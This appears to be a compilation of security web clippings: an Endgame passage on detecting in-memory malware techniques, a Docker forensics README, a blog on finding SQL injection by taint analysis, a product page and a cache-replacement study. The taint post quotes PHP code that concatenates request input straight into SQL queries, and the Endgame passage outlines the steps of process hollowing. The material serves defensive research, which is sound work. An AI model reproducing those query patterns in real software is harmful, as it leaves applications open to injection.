malicious activity. ProcessHacker can also show you the call stack of the
malware threads. There are multiple functions in the call stack which do not
map to memory associated with loaded modules.

<img src='img/WWmlLbZ--
OTiYbyUS5z_3x2flR_k2RyiiEclvPK3_eSteeCHqoAcJfqNPeGdcNMdSTq4rEGBgesoMT04aEbmSx23Y0g3ijUQxKWIB743zytOFdJHmva7bWGo3W3HzIoLT8rDhFqv.png'
width='470' height='244' />

###

### **Reflective DLL Injection**

Reflective DLL injection, originally developed by Steven Fewer, is another
type of in memory attacker technique. Metasploit’s Meterperter payload was one
of the first attempts to fully weaponize the technique, but many malware
families use it today. Reflective DLL injection works by creating a DLL that
maps itself into memory when executed, instead of relying on the Window’s
loader. The injection process is identical to shellcode injection, except the
shellcode is replaced with a self-mapping DLL. The self-mapping component
added to the DLL is responsible for resolving import addresses, fixing
relocations, and calling the DllMain function. Attackers benefit from the
ability to code in higher level languages like C/C++ instead of assembly.

Classic reflective DLL injection, such as that used by Meterpreter, is easy
for hunters to find. It leaves large RWX memory sections in the process, even
when the meterpreter session is closed. The start of these unbacked executable
memory sections contain the full MZ/PE header, as shown in the images below.
However, keep in mind that other reflective DLL implementations could wipe the
headers and fix the memory leak.

<img
src='img/hl2iduEXkqv5tFbk8bKkL5rJwsShc0JgZVbpQUrHMcxobUe3pvgAwM8D_4dFZAP9ynKND5_dLEUPESUBAB6rihAG3D5EsADBeHygxXWLVpI0J41oa6MuuR6KdMUM8DrPcXnNDQwH.png'
width='409' height='92' />

<img
src='img/jrIY2ayygksjPNH_QZ5HjmcIe_FbiwCmWN64wgYKfRcjY2uKyRtUPyli6JC5Wka9OPt4pOpOXCbnPqcljLp7eYSYvskAD5fizmW31-qFknPG-
GnzZcTs23LjE0wVz6Mwh-RuKTeK.png' width='606' height='213' />

The DLLs loaded in memory also conveniently export a self-describing function
called ReflectiveLoader\(\).

<img src='img/VrInBl5yHnwNzHmDagFM-
PwL74o1Q4_fMaXh4YDePZswhMrjNQaAp2CmcN3bRSf7Ua5S5SShCif2Mo09LvZqmqDhk6N6M84mWEg9ZLtTpZn-3UFtOPv2Q5wy5OgAYv1j2aMadwbm.png'
width='398' height='96' />

###

### **Memory Module**

Memory module is another memory resident attacker technique. It is similar to
Reflective DLL injection except the injector or loader is responsible for
mapping the target DLL into memory instead of the DLL mapping itself.
Essentially, the memory module loader re-implements the LoadLibrary function,
but it works on a buffer in memory instead of a file on disk. The original
implementation was designed for mapping in the current process, but updated
techniques can map the module into remote processes. Most implementations
respect the section permissions of the target DLL and avoid the noisy RWX
approach.

NetTraveler is one malware family that uses a memory module style technique.
When NetTraveler starts, it unpacks the core functionality and maps it into
memory. The page permissions more closely resemble a legitimate DLL, however
the memory regions are still private as opposed to image.

<img
src='img/Gz2TVeDik9c9_-C1wr7oMNqRtttOLO7ct8bML-N2X2-2zDJmvARN3w5-IRI6uH-1mKp74mAVSa7nfkvS99fg4LJknDZYs2IOkXkHmroZQpV8CPkDj8C7TwloFjKIsMo4vDIj5PMX.png'
width='510' height='144' />

The active threads have start addresses at these private regions. The
callstack also reveals these malicious sections.

<img
src='img/CimBmDDA82Wqah77Fb0l4QlSOjOlnEh7QzJeMRUMixBC3CIaQNGg6UrCtn1049kBYtlT41XqCiDyxvfZ9q6sNfu_Pb4Pf-
wyqNnxpH3HsGyKaHwfZMMsdmJf7jtS4_JN2h_iQdSt.png' width='476' height='154' />

Winnti is yet another malware sample that uses the Memory Module technique.
They had a minor slip on the section permissions of the first page, as you can
see below.

<img
src='img/MuGQNSYhkI5japitC98vclStyyrm1Xry0IAIlbAXJ2xmSHuwWGK_zvZ7f6_aGVmxZarPbA0MNi9C5Dq3yfd91FHWCxSk1vxaYQNJJy1KeAPhtiHR1GJLs5s9dXQQj7BVPJICra6x.png'
width='482' height='154' />

However, the Winnti sample was notable because the MZ/PE headers in the DLL
were erased, making it more difficult to detect.

<img
src='img/tN7v6FYiLsrSwEKsj_zRV0b4Zw2nyUTifT1cCcZE3sFXjnZOBh0vOluY4eaqFMSLpQbb7X8SaQ6hXopLOmhL-
uIl-V03noXf-0IOpPVD4OvhR524HcRVmzKkePaoGUSvX11OTLeu.png' width='622'
height='154' />

###

### **Process Hollowing**

Process hollowing is another technique attackers use to prevent their malware
from being detected by security products and hunters. It involves creating a
suspended process, unmapping \(hollowing\) the original executable from the
process, allocating and writing a new payload to the process, redirecting the
execution of the original thread to the new payload with SetThreadContext, and
finally calling ResumeThread to complete. More stealthy variants use
Create/Map section APIs to avoid WriteProcessMemory. Others modify the entry
point with a jump instead of using SetThreadContext.

DarkComet is one of many malware families that use process hollowing
techniques. Several artifacts can be used to detect process hollowing. One
dead giveaway for this activity is a process being spawned with the
CREATE\_SUSPENDED flag, as shown in the following screenshot from a DarkComet
sample.

<img
src='img/pOVWve062visGubjXkgEe5wVtf-8EgDpKNbPta-g7oEI1yDxN8xN_3uRPgAkcv3EdzOB1JwlxYmNvpW554-1k_EqVHV022D-H_n4Z9itSJDBJngNDFv8MEkQ3nwiLcpuiWKMKrMT.png'
width='624' height='206' />

###

### **Module Overwriting**

So far, all techniques discussed have led to the execution of non-image backed
code, and were therefore fairly straightforward to detect. Module overwriting,
on the other hand, avoids this requirement, making it much more difficult to
detect. This technique consists of mapping an unused module into a target
process and then overwriting the module with its own payload. Flame was the
first widely publicized malware family to use this technique. More recently,
Careto and Odinaff malware families have used module overwriting techniques.
Various techniques can be used to reliably detect module overwriting, which
involves comparing memory to associated data on disk.

###

### **Gargoyle**

Gargoyle is a proof of concept technique for memory resident malware that can
evade detection from many security products. It accomplishes this feat by
laying dormant with read-only page protections. It then periodically wakes up,
using an asynchronous procedure call, and executes a ROP chain to mark its
payload as executable before jumping to it. After the payload finishes
executing, Gargoyle again masks its page permissions and goes back to sleep.
One way to detect this attacker technique is to examine threads and user APCs
for evidence of ROP chains.

## **Detecting In-Memory Attacks**

Given the proliferation and accessibility of these techniques, security
personnel must be vigilant for memory-based attacker techniques and
proactively hunt for them on their networks. However, most products cannot
generically detect in-memory attacks at scale, leaving defenders with an
enormous gap in their ability to protect against these attacks. Endgame has
done significant research to bring low-noise detection capabilities into our
product for each method mentioned above.

Given the immense size and impact of this detection gap, it is important to
raise all boats, not just those of our customers. For this reason, we
collaborated with Jared Atkinson on his powershell tool called Get-
InjectedThreads, which implements a relatively low-noise method of detecting
in memory threats. It scans active threads on the system for suspicious start
addresses. Hunters leverage it to scan hosts in their networks and quickly
identify many memory resident malware techniques. The script works by querying
each active thread with the NtQueryInformationThread function to retrieve its
start address. The start address is then queried with the VirtualQueryEx
function to determine the associated section properties. If the memory region
where the thread started is unbacked and executable \(i.e. not image type and
has execute bit set\), then the thread is considered injected. The following
screenshot shows a sample detection when run on a system infected with a 9002
RAT sample.

<img src='img/f_EF8Okj1d616UtmsiY0y3TQbIRScryYB6lLFxTmG3LOcSwWqYeVBdigfq_-
wfqvBp6g3cW_jEBTewWpxyl7DcjeO4AKRln3_jesyzqhYK56ZjtWCS27bdkaD1Nakb7mO1c3G_Sq.png'
width='602' height='350' />

The script will catch a variety of malware families leveraging the shellcode
injection, reflective DLL, memory module, and some process hollowing
techniques. However, it is no replacement for security products that
comprehensively prevent in-memory attacks, such as Endgame.

###

## **Enterprise In-Memory Detection at Scale**

Endgame has built detections for each of these techniques \(and many more\)
into our enterprise security platform, offering best in market capabilities to
locate in-memory threats. We do not simply rely on naïve approaches like
monitoring well-known system call sequences for process injection, but
efficiently analyze memory to find all known evasion capabilities. This
provides our users with thread-level visibility on injected code, as well as
sophisticated follow-on actions like examining the injected code and
suspending only a malicious injected thread to remediate the threat. Our
platform is effective both in stopping injection as it is happening in real
time as well as locating already resident adversaries hiding in memory,
locating threats across tens of thousands of hosts in seconds.

Like any signatureless detection technique, false positives \(FPs\) are an
important consideration. As we researched and implemented our technique-based
preventions for each adversary technique described above, we initially
encountered FPs at every step of the way. Handling these correctly in our
product is of paramount importance.

Most FPs are related to security software, Just-In-Time \(JIT\) compiled code,
or DRM protected/packed applications. Security products sometimes inject code
to some or all processes on the system to enhance their behavioral detection
capabilities. The downside is if the product is sloppy in its methods, it can
actually harm the security of the system and make hunting for real in memory
threats more difficult. JIT code, another potential area for false positives,
generates assembly code at runtime which lives in unbacked or floating memory
regions. .NET or Java applications are a couple of examples which use JIT
techniques. Fortunately, this type of code is easier to identify and filter
than rogue security products. Lastly, applications packed or protected with
Digital Rights Management \(DRM\) schemes should be kept in mind. These
applications may decrypt or deobfuscate their core functionality in memory to
deter debugging and reverse engineering. However, the same techniques are used
by malware to evade detection and deter analysis from security practitioners.

Through careful design decisions and extensive testing, we have managed to
achieve very low false positive rates, allowing Endgame users to root out in-
memory threats rapidly.

##

## **Conclusion**

Adversaries will continue to innovate new techniques to avoid detection and
accomplish their objectives. Memory resident techniques are no exception, and
have been a thorn in the side of endpoint security defenders for over a
decade. Fortunately, by understanding the latest techniques, we can turn the
tables and use this knowledge to develop new high fidelity detection methods.
At Endgame, our comprehensive approach to these attacks have led us to a
market leading position for fileless attack detection \(adding to our other
key technologies\). For more on hunting for in-memory attacks, check out our
slides from our SANS Threat Hunting and IR Summit presentation.

  

# google/docker-explorer

**Created:**| _5/25/2018 10:45:47 AM_  
---|---  
**Updated:**| _5/25/2018 10:45:47 AM_  
**Author:**| _wishi_  
**Tags:**| _Forensics docker_  
  

  

###  README.md

# Docker Explorer

This project helps a forensics analyst explore offline Docker filesystems.

## Overview

When analyzing a system where a Docker container has been compromised, it can
be useful to have the same view of the filesystem as the container's.

Docker uses layered backend filesystems like AuFS or OverlayFS.

Each layer is actually stored on the host's filesystem as multiple folders,
and some JSON files are used by Docker to know what is what;

## Usage

For the forensicator, this usually goes:

  0. find the interesting container ID
  1. mount the container's filesystem in `/mnt/aufs`
  2. `log2timeline.py /tmp/container.plaso /mnt/aufs`

### List the running containers

On the live host:

[code]

    # docker ps
    CONTAINER ID        IMAGE               COMMAND             CREATED         STATUS              PORTS               NAMES
    7b02fb3e8a66        busybox             "sleep 10d"         19 hours ago    Up 19 hours                             dreamy_snyder
    
[/code]

On a disk image mounted in `/mnt/root`:

[code]

    # python de.py -r /mnt/root/var/lib/docker list running_containers
    Container id: 7b02fb3e8a665a63e32b909af5babb7d6ba0b64e10003b2d9534c7d5f2af8966 / Labels :
        Start date: 2017-02-13T16:45:05.785658046Z
        Image ID: 7968321274dc6b6171697c33df7815310468e694ac5be0ec03ff053bb135e768
        Image Name: busybox
    
[/code]

### Mount the container's filesystem:

On the live host:

[code]

    # find ID of your running container:
    docker ps
    
    # create image (snapshot) from container filesystem
    docker commit 12345678904b5 mysnapshot
    
    # explore this filesystem using bash (for example)
    docker run -t -i mysnapshot /bin/bash
    
[/code]

On a disk image mounted in `/mnt/root`:

[code]

    # python de.py -r /tmp/ mount 7b02fb3e8a665a63e32b909af5babb7d6ba0b64e10003b2d9534c7d5f2af8966 /tmp
    You'll needs the aufs-tools package. If you install aufs-tools, I can run these for you.
    
[/code]

Whoops... Let's try again

[code]

    # apt-get install aufs-tools
    # python de.py -r /tmp/ mount 7b02fb3e8a665a63e32b909af5babb7d6ba0b64e10003b2d9534c7d5f2af8966 /tmp/test
    mount -t aufs -o ro,br=/tmp/docker/aufs/diff/b16a494082bba0091e572b58ff80af1b7b5d28737a3eedbe01e73cd7f4e01d23=ro+wh none /tmp/test
    mount -t aufs -o ro,remount,append:/tmp/docker/aufs/diff/b16a494082bba0091e572b58ff80af1b7b5d28737a3eedbe01e73cd7f4e01d23-init=ro+wh none /tmp/test
    mount -t aufs -o ro,remount,append:/tmp/docker/aufs/diff/d1c54c46d331de21587a16397e8bd95bdbb1015e1a04797c76de128107da83ae=ro+wh none /tmp/test
    Do you want to mount this container Id: /tmp/docker/aufs/diff/b16a494082bba0091e572b58ff80af1b7b5d28737a3eedbe01e73cd7f4e01d23 on /tmp/test?
          (ie: run these commands) [Y/n]
    
    root@test-VirtualBox:~# ls /tmp/test
    bin  dev  etc  home  proc  root  sys  tmp  usr  var
    
[/code]

### List the available images

On the live host:

[code]

    # docker images
    REPOSITORY          TAG                 IMAGE ID            CREATED       SIZE
    busybox             latest              7968321274dc        4 weeks ago   1.11 MB
    
[/code]

On a disk image mounted in `/mnt/root`:

[code]

    # python de.py -r /mnt/root/var/lib/docker list repositories
    Listing repositories from file /tmp/docker/image/aufs/repositories.json
    {
        "Repositories": {
            "busybox": {
                "busybox:latest": "sha256:7968321274dc6b6171697c33df7815310468e694ac5be0ec03ff053bb135e768"
            }
        }
    }
    
[/code]

### Show a container's image history

On the live host:

[code]

    # docker history 7968321274dc6b6171697c33df7815310468e694ac5be0ec03ff053bb135e768
    IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
    7968321274dc        4 weeks ago         /bin/sh -c #(nop)  CMD ["sh"]                   0 B
    <missing>           4 weeks ago         /bin/sh -c #(nop) ADD file:707e63805c0be1a226   1.11 MB
    
[/code]

On a disk image mounted in `/mnt/root`:

[code]

    # python de.py -r /mnt/root/var/lib/docker history 7b02fb3e8a665a63e32b909af5babb7d6ba0b64e10003b2d9534c7d5f2af8966
    --------------------------------------------------------------
    sha256:7968321274dc6b6171697c33df7815310468e694ac5be0ec03ff053bb135e768
            size : 0
            created at : 2017/01/13 22:13:54
            with command : /bin/sh \
    -c \
    #(nop)  \
    CMD ["sh"]
    
[/code]

## Troubleshooting

If on your Ubuntu system you get the errors:

[code]

    mount: unknown filesystem type 'aufs'
    /sbin/mount.aufs:proc_mnt.c:96: /mnt/aufs: Invalid argument
    /sbin/mount.aufs:proc_mnt.c:96: /mnt/aufs: Invalid argument
    /sbin/mount.aufs:proc_mnt.c:96: /mnt/aufs: Invalid argument
    /sbin/mount.aufs:proc_mnt.c:96: /mnt/aufs: Invalid argument
    /sbin/mount.aufs:proc_mnt.c:96: /mnt/aufs: Invalid argument
    /sbin/mount.aufs:proc_mnt.c:96: /mnt/aufs: Invalid argument
    /sbin/mount.aufs:proc_mnt.c:96: /mnt/aufs: Invalid argument
    /sbin/mount.aufs:proc_mnt.c:96: /mnt/aufs: Invalid argument
    /sbin/mount.aufs:proc_mnt.c:96: /mnt/aufs: Invalid argument
    ....
    
[/code]

Try this:

[code]

    sudo apt-get install linux-image-extra-$(uname -r)
    
[/code]

  

# Finding SQLI Through Taint Analysis

**Created:**| _2/18/2013 2:40:11 PM_  
---|---  
**Updated:**| _2/18/2013 2:40:31 PM_  
**Author:**| __  
**Tags:**| _sql-injection Tainting_  
  

# Finding SQLI Through Taint Analysis

## Introduction

Two days ago I decided it was time to begin working on my taint analysis
engine for PHP. I just looked up a SQLI on exploitdb to see if I could detect
it and... success. The vulnerability can be found here, a SQLI
in YourArcadeScript 2.4 \(hereforth known as YAS\).  

## Vulnerability details

The vulnerable line is found in templates/modbox\_24/category.php, line 36.  
  
36: $count = yasDB\_select\("SELECT count\(id\) AS count FROM \`games\` where
category = " . $\_GET\['id'\]\);  
  
The file tempates/modbox\_24/categories.php is included from index.php via
line 54.  
  
53: case 'cat':  
54:     include \("templates/".$setting\['theme'\]."/category.php"\);  
55:     break;  
  

This is a trivial SQL Injection and can be found with little effort by my all-
time-favorite web-app vulnerability finding application: grep. The following
line shows multiple concerning queries:

  
grep -rn SELECT \* | grep GET  
  
A few simple greps shows multiple scary queries, but that's beyond the scope
of this post. Grep won't give you vulnerabilities such as CSRF, but as a rule,
if a webapp doesn't pass the grep test please don't even consider deploying
it.  

## Configuring the engine for YAS

There are four pieces of information our taint analysis engine must know in
order to detect this vulnerability. They are:  
  

  1. Sources of TAINT.
  2. Functions that SANITIZE.
  3. Functions to alert when TAINTed variables are USEd as parameters.
  4. Constant values for a few select variables.

1-3 are self-explanatory. If not, my last blog post may be helpful.

  

We need constant values for variables because YAS has include lines that
require variables to have specific values. My taint analysis engine does not
store values, only taint. When an include fails to resolve a path, we get an
error line like this:

  

could not include BinaryOp\('.', BinaryOp\('.', 'templates/',
ArrayOffset\(Variable\('$setting'\), 'theme'\)\), '/play.php'\) 

  

Normally this means we need to set a value for
ArrayOffset\(Variable\('$setting'\), 'theme\). In this specific case, the
value has already been set to "modbox\_24" and the file
templates/modbox\_24/play.php does not exist.

  

For YAS, we only set one value in DEFINES

  

DEFINES = \{\}

DEFINES\["ArrayOffset\(Variable\('$setting'\), 'theme'\)"\] = 'modbox\_24'

  

Now we need to set 1-3. Sources of TAINT do not change. Currently I am only
checking $\_GET and $\_POST.

  

The values for SANITIZE and USE are set as follows:

  

    SANITATION\_FUNCTIONS = \[

        'intval',

        'yasDB\_clean',

        'htmlspecialchars'

    \]

  

    TARGET\_FUNCTIONS = \[

        'yasDB\_select',

        'yasDB\_update',

        'yasDB\_insert'

    \]

## Running the engine and results

Now all that's left is to execute the engine against index.php. Here's what we
get:

  

\[endeavor@endeavor php-static\]$ time pypy analyze.py
~/sources/yas/index.php 

======================================

ANALYZING:  /home/endeavor/sources/yas/index.php

could not include includes/db\_functions.inc.php
includes/db\_functions.inc.php

could not include includes/config.inc.php includes/config.inc.php

could not include seourl.class.php seourl.class.php

could not include BinaryOp\('.', BinaryOp\('.', 'templates/',
ArrayOffset\(Variable\('$setting'\), 'theme'\)\), '/small\_footer.php'\)
templates/modbox\_24/small\_footer.php

could not include rightcolumn.php rightcolumn.php

function :  yasDB\_select

parameter:  SELECT count\(id\) AS count FROM \`games\` where category = $\_GET

tainted  :  \['$page'\]

function :  yasDB\_select

parameter:  SELECT \* FROM \`games\` where category = $\_GET order by \`id\`
desc LIMIT ObjectProperty\(Variable\('$pageurl'\), 'start'\),
ObjectProperty\(Variable\('$pageurl'\), 'limit'\)

tainted  :  \['$page'\]

could not include rightcolumn.php rightcolumn.php

function :  yasDB\_select

parameter:  SELECT \* FROM user WHERE username='$username' AND
email='$useremail'

tainted  :  \['$username', '$useremail'\]

function :  yasDB\_update

parameter:  UPDATE user SET password='$upassword' WHERE username='$username'

tainted  :  \['$username', '$useremail'\]

function :  yasDB\_insert

parameter:  INSERT INTO favourite \(userid, gameid\) VALUES\($\_SESSION,
$\_POST\)

tainted  :  \[\]

could not include BinaryOp\('.', BinaryOp\('.', 'templates/',
ArrayOffset\(Variable\('$setting'\), 'theme'\)\), '/play.php'\)
templates/modbox\_24/play.php

could not include BinaryOp\('.', BinaryOp\('.', 'templates/',
ArrayOffset\(Variable\('$setting'\), 'theme'\)\), '/popularbig.php'\)
templates/modbox\_24/popularbig.php

could not include BinaryOp\('.', BinaryOp\('.', 'templates/',
ArrayOffset\(Variable\('$setting'\), 'theme'\)\), '/topratedbig.php'\)
templates/modbox\_24/topratedbig.php

could not include BinaryOp\('.', BinaryOp\('.', 'templates/',
ArrayOffset\(Variable\('$setting'\), 'theme'\)\), '/latestbig.php'\)
templates/modbox\_24/latestbig.php

could not include BinaryOp\('.', BinaryOp\('.', 'templates/',
ArrayOffset\(Variable\('$setting'\), 'theme'\)\), '/privacy.php'\)
templates/modbox\_24/privacy.php

could not include BinaryOp\('.', BinaryOp\('.', 'templates/',
ArrayOffset\(Variable\('$setting'\), 'theme'\)\), '/login2.php'\)
templates/modbox\_24/login2.php

could not include BinaryOp\('.', ArrayOffset\(Variable\('$setting'\),
'siteurl'\), '/includes/db\_functions.inc.php'\)
/includes/db\_functions.inc.php

could not include ../includes/db\_functions.inc.php
../includes/db\_functions.inc.php

forks:  614

  

real    0m21.031s

user    0m20.909s

sys     0m0.063s

  

First, an explanation of the output. When a tainted variable is used, three
lines are printed out. First, the function, followed by the parameter where
the tainted variable was found, and then the list of all currently tainted
variables. The vulnerability we were looking for is evident here:

  

function :  yasDB\_select

parameter:  SELECT count\(id\) AS count FROM \`games\` where category = $\_GET

tainted  :  \['$page'\]

function :  yasDB\_select

parameter:  SELECT \* FROM \`games\` where category = $\_GET order by \`id\`
desc LIMIT ObjectProperty\(Variable\('$pageurl'\), 'start'\),
ObjectProperty\(Variable\('$pageurl'\), 'limit'\)

tainted  :  \['$page'\]

  

We actually turned up a few new vulnerabilities. For the sake of completion,
the first two are in includes/forgotpass.php

  

<?php

include \("db\_functions.inc.php"\);

include \("config.inc.php"\);

if \(isset\($\_POST\["username"\]\) && isset\($\_POST\["useremail"\]\)\) \{

    $username=$\_POST\["username"\];

    $useremail=$\_POST\["useremail"\];

    $res=yasDB\_select\("SELECT \* FROM user WHERE username='$username' AND
email='$useremail'",false\);

    $row = $res->fetch\_array\(MYSQLI\_ASSOC\);

    $res->close\(\);

    if \(\!empty\($row\)\) \{

        $email=$row\["email"\];

        srand\(\(double\)microtime\(\)\*1000000\);

        $random=rand\(1234,2343\);

        $password=$row\["name"\].$random;

        $upassword=md5\($password\);

        yasDB\_update\("UPDATE user SET password='$upassword' WHERE
username='$username'",false\);

  

The third is in templates/modbox\_24/game.php

  

<?php

@session\_start\(\);

?>

<script type="text/javascript">

    var yasurl = "<?php echo
$setting\['siteurl'\].'includes/ratingbar/rpc.php';?>";

</script>

<?php

require\('./includes/ratingbar/\_drawrating.php'\); // processes game votes
and displays stars

$id = yasDB\_clean\($\_GET\["id"\]\);

$gid = $id;

$displayed = 'no';

if \(isset\($\_POST\['Favourites\_x'\]\)\) \{

    yasDB\_insert\("INSERT INTO favourite \(userid, gameid\)
VALUES\(\{$\_SESSION\['userid'\]\}, \{$\_POST\['gamesave'\]\}\)"\) or
die\("Error updating favourites"\);

\}

## Next Steps

Objects are currently ignored. Method calls in the AST are evaluated as
regular function calls, treating the method name as a simple function. This
allows us to set method names as target USE functions and check for php code
such as:

  

$query = $db->query\("SELECT \* FROM example WHERE id=" . $GET\['id'\]\);

  

However we won't evaluate code inside object methods. This is important as we
will evaluate code within regular functions.

  

That's all for now. Cheers.

  

# Metakine - Hands Off\!

**Created:**| _10/15/2010 1:08:59 PM_  
---|---  
**Updated:**| _10/15/2010 1:10:42 PM_  
**Author:**| __  
**Tags:**| _network-security Mac-hacking_  
  

  
Latest version:

v.1.0.2

Downloadtry it, it's free

Purchasequick and easy

Get Supportwe're here to help

<img src='img/Temp2_5297.png' alt='Protect your privacy' />

#### Protect your privacy

Keep an eye on Internet connections from all applications as to expose the
hidden connections. Prevent them from sending data without your consent, hence
avoiding information leakage. <img src='img/Temp2_5298.png' alt='Learn More'
/>

<img src='img/Temp2_5299.png' alt='Safely run untrusted applications' />

#### Safely run untrusted applications

Manage disk access so dubious programs cannot obtain confidential information.
Avert permanent changes or data loss by prohibitting disk writing. Prevent
viruses and other malware infiltration. <img src='img/Temp2_5298.png'
alt='Learn More' />

<img src='img/Temp2_5300.png' alt='Designate friendly applications' />

#### Designate friendly applications

Specify which applications should be trusted with specific operations. The
flexible configuration enables the smooth running of your activities while
maintaining top security. <img src='img/Temp2_5298.png' alt='Learn More' />

# Intel Ivy Bridge Cache Replacement Policy « Blog

**Created:**| _9/26/2013 10:09:47 AM_  
---|---  
**Updated:**| _9/26/2013 10:09:47 AM_  
**Author:**| __  
**Tags:**| _hardware cache_  
  

# **I** ntel Ivy Bridge Cache Replacement Policy****

By Henry, on January 25th, 2013

Caches are used to store a subset of a larger memory space in a smaller,
faster memory, with the hope that future memory accesses will find their data
in the cache rather than needing to access slower memory**.** A cache
replacement policy decides which cache lines should be replaced when a new
cache line needs to be stored**.** Ideally, data that will be accessed in the
near future should be preserved, but real systems cannot know the future**.**
Traditionally, caches have used \(approximations of\) the least-recently used
\(LRU\) replacement policy, where the next cache line to be evicted is the one
that has been least recently used**.**

Assuming data that has been recently accessed will likely be accessed again
soon usually works well**.** However, an access pattern that repeatedly cycles
through a working set larger than the cache results in 100% cache miss: The
most recently used cache line won’t be reused for a long time**.** Adaptive
Insertion Policies for High Performance Caching  \(ISCA 2007\) and a follow-on
paper High performance cache replacement using re-reference interval
prediction \(RRIP\)  \(ISCA 2010\) describe similar cache replacement policies
aimed at improving this problem**.** The L3 cache on Intel’s Ivy Bridge
appears to use an adaptive policy resembling these, and is no longer pseudo-
LRU**.**

## Measuring Cache Sizes****

The behaviour of LRU replacement policies with cyclic access patterns is
useful for measuring cache sizes and latencies**.** The access pattern used to
generate Figure 1 is a random cyclic permutation, where each cache line \(64
bytes\) in an array is accessed exactly once in a random order before the
sequence repeats**.** Each access is data-dependent so this measures the full
access latency \(not bandwidth\) of the cache**.** Using a cyclic pattern
results in sharp changes in latency between cache levels**.**

Figure 1 clearly shows two levels of cache for the Yorkfield Core 2 \(32 KB
and 6 MB\) and three levels for the other three**.** All of these transitions
are fairly sharp, except for the L3-to-memory transition for Ivy Bridge \(“3rd
Generation Core i5″\)**.** There is new behaviour in Ivy Bridge’s L3 cache
compared to the very similar Sandy Bridge**.** Curiosity strikes again**.**

## Ivy Bridge vs. Sandy Bridge****

Figure 2 shows a comparison of Sandy Bridge and Ivy Bridge, for varying
stride**.** The stride parameter affects which bytes in the array are accessed
by the random cyclic permutation**.** For example, a stride of 64 bytes will
only access pointers spaced 64 bytes apart, accessing only the first 4 bytes
of each cache line, and accessing each cache line exactly once in the cyclic
sequence**.** A stride less than the cache line size results in accessing each
cache line more than once in the random sequence, leading to some cache hits
and transitions between cache levels that are not sharp**.** Figure 2 shows
that Sandy Bridge and Ivy Bridge have the same behaviour except for strides at
least as big as the cache line size for Ivy Bridge’s L3**.**

There are several hypotheses that can explain an improvement in L3 cache miss
rates**.** Only a changed cache replacement policy agrees with observations:

  * **Prefetching** : An improved prefetcher capable of prefetching near-random accesses would benefit accesses of any stride**.** Figure 2 shows no improvement over Sandy Bridge for strides smaller than a cache line**.**
  * **Changed hash function** : This would show a curve with a strange shape, as some parts of the array see a smaller cache size while some other parts see a bigger size**.** This is not observed.
  * **Changed replacement policy** : Should show apparent cache size unchanged, but transitions between cache levels may not show the sharp transition seen with LRU policies**.** This agrees with observations.

Figure 3 shows two plots similar to Figure 2 for larger stride values \(512
bytes to 128 MB\)**.** The curved shape of the plots for Ivy Bridge is clearly
visible for many stride values**.**

<img src='http://blog.stuffedcow.net/wp-
content/uploads/2013/01/snb1-360x255.png' />

Figure 3a: Sandy Bridge, larger strides \[png\] \[pdf\]

<img src='img/Temp2_4479.png' />

Figure 3b: Ivy Bridge \[png\] \[pdf\]

## Adaptive replacement policy**?**

An interesting paper from UT Austin and Intel from ISCA 2007 \(Adaptive
Insertion Policies for High Performance Caching \) discussed improvements to
the LRU replacement policy for cyclic access patterns that don’t fit in the
cache**.** The adaptive policy tries to learn whether the access pattern
reuses the cache lines before eviction and chooses an appropriate replacement
policy \(LRU vs**.** Bimodal Insertion Policy, BIP\). BIP places new cache
lines most of the time in the LRU position, the opposite behaviour of LRU**.**

Testing for an adaptive policy can be done by attempting to defeat it**.** The
idea is to trick the cache into thinking that cached data is reused, by
modifying the access pattern to reuse each cache line before eviction**.**
Instead of a single pointer chase by repeating `p = *(void**)p`, the inner
loop was changed to do two pointer chases `p = *(void**)p; q = *(void**)q;`,
with one pointer lagging behind the other by some number of iterations,
designed to touch each line fetched into the L3 cache exactly twice before
eviction**.** Figure 4 plots the same parameters as Figure 3 but with the dual
pointer chase access pattern**.** The Ivy Bridge plots closely resemble Sandy
Bridge, showing that the replacement policy _is_ adaptive, and has been mostly
defeated**.**

<img src='img/Temp2_4480.png' />

Figure 4a: Sandy Bridge, dual pointer chase \[png\] \[pdf\]

<img src='img/Temp2_4478.png' />

Figure 4b: Ivy Bridge, dual pointer chase \[png\] \[pdf\]

Since Ivy Bridge uses an adaptive replacement policy, it is likely that the
replacement policy is closely related to the one proposed in the paper**.**
Before we probe for more detail, we need to look a little more closely at the
L3 cache**.**

## Ivy Bridge L3 Cache****

The L3 cache \(also known as LLC, last level cache\) is organized the same way
for both Sandy Bridge and Ivy Bridge**.** The cache line size is 64 bytes. The
cache is organized as four slices on a ring bus**.** Each slice is either 2048
sets \* 16-way \(2 MB for Core i7\) or 2048 sets \* 12-way \(1**.** 5 MB for
Core i5\). Physical addresses are hashed and statically mapped to each
slice**.** \(See http://www.realworldtech.com/sandy-bridge/8/ \) Thus, the way
size within each slice is 128 KB, and a stride of 128 KB should access the
same set of all four slices using traditional cache hash functions**.**

Figure 3 reveals some information about the hash function used**.** Here are
two observations:

  * **Do bits \[16:0\] \(128KB\) of the physical address map directly to sets**?**** I think so. If not, the transition at 6 MB would be spread out somewhat, with latency increasing over several steps, with the increase starting below 6 MB**.**
  * **Is the cache slice chosen by exactly bits \[18:17\] of the physical address**?**** No**.** Higher-order address bits are also used to select the cache slice**.** In Figure 3, the apparent cache size with 256 KB stride has doubled to 12 MB**.** It continues to double at 512, 1024, and 2048 KB strides**.** This behaviour resembles a 48-way cache**.** This can happen if the hash function equally distributes 256 through 2048 KB strides over all four slices**.** Thus, some physical address bits higher than bit 20 _are_ used to select the slice, not just bits \[20:17\]**.** Paging with 2 MB pages limits my ability to test physical address strides greater than 2 MB**.**

## Choosing a Policy using Set Dueling****

Adaptive cache replacement policies choose between two policies depending on
which one is appropriate at the moment**.** Set dueling proposes to dedicate a
small portion of the cache sets to each policy to detect which policy is
performing better \(_dedicated sets_\), and the remainder of the cache as
_follower sets_ that follow the better policy**.** A single saturating counter
compares the number of cache misses occurring in the two dedicated sets**.**

This test attempts to show set-dueling behaviour by finding which sets in the
cache are _dedicated_ and which are _follower_ sets**.** This test uses a 256
KB stride \(128 KB works equally well\), which maps all accesses onto one set
in each of the four cache slices \(due to the hash function\)**.** By default,
this would mean all accesses only touch the _first_ set in each slice if the
low address bits \[16:0\] are zero**.** Thus, I introduce a new parameter,
`offset`, which adds a constant to each address so that I can map all accesses
to the second, third, etc**.** sets in each slice instead of always the first.
This parameter is swept both up and down, and the cache replacement policy
used is observed**.**

Since the adaptive policy chooses between two different replacement policies,
I chose to distinguish between the two by observing the average latency at one
specific array size, 4/3 of the L3 cache size \(e**.** g., compare Sandy
